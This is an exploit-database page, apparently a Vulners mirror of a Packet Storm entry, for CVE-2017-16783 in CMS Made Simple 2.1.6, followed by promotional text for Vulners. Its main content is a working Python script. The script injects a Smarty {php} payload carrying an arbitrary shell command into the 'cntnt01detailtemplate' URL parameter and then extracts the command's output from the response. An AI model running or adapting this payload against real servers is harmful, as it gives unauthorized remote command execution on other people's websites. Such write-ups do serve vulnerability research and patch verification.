Lucene search
K

CMS Made Simple 2.1.6 Server-Side Template Injection

🗓️ 26 Oct 2020 00:00:00Reported by Gurkirat SinghType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 446 Views

CMS Made Simple 2.1.6 Server-Side Template Injectio

Related
Code
`# Exploit Title: CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection  
# Google Dork: N/A  
# Date: 11/10/2017  
# Exploit Author: Gurkirat Singh <[email protected]>  
# Vendor Homepage: http://www.cmsmadesimple.org/  
# Software Link: N/A  
# Version: 2.1.6  
# Tested on: Linux  
# CVE : CVE-2017-16783  
# POC : https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/  
  
PFA  
-------  
Gurkirat Singh  
(tbhaxor <https://google.com/search?q=tbhaxor>)  
  
from argparse import ArgumentParser, RawTextHelpFormatter  
from urllib.parse import urlparse, parse_qs, urlencode, quote, unquote_plus  
import requests as http  
import re  
from bs4 import BeautifulSoup, Tag  
from huepy import *  
parser = ArgumentParser(description="Exploit for CVE-2017-16783",  
formatter_class=RawTextHelpFormatter)  
parser.add_argument(  
"--target",  
"-t",  
help="complete remote target with protocol, host, path and query",  
required=True,  
dest="t")  
parser.add_argument("--command",  
"-c",  
help="command to execute (default: whoami)",  
default="whoami",  
dest="c")  
args = parser.parse_args()  
  
print(info("Building malicious url"))  
url = urlparse(args.t)  
query = parse_qs(url.query)  
query["cntnt01detailtemplate"] = [  
"string:{php}echo `echo tbhaxor;%s;echo tbhaxor`;{/php}" % args.c  
]  
query = {k: ",".join(v) for k, v in query.items()}  
query = unquote_plus(urlencode(query, doseq=False))  
_url = url.scheme + "://" + url.netloc + url.path + "?" + query  
print(good("Done"))  
print(info("Executing payload"))  
r = http.get(_url)  
html = BeautifulSoup(r.content.decode(), "html5lib")  
main: Tag = html.find("article", {"id": "main"})  
main = re.sub(r"^Home", "", main.text.strip()).replace("tbhaxor", "").strip()  
print(good("Done"))  
print(info("Result"))  
print(main)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2020 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.09872
446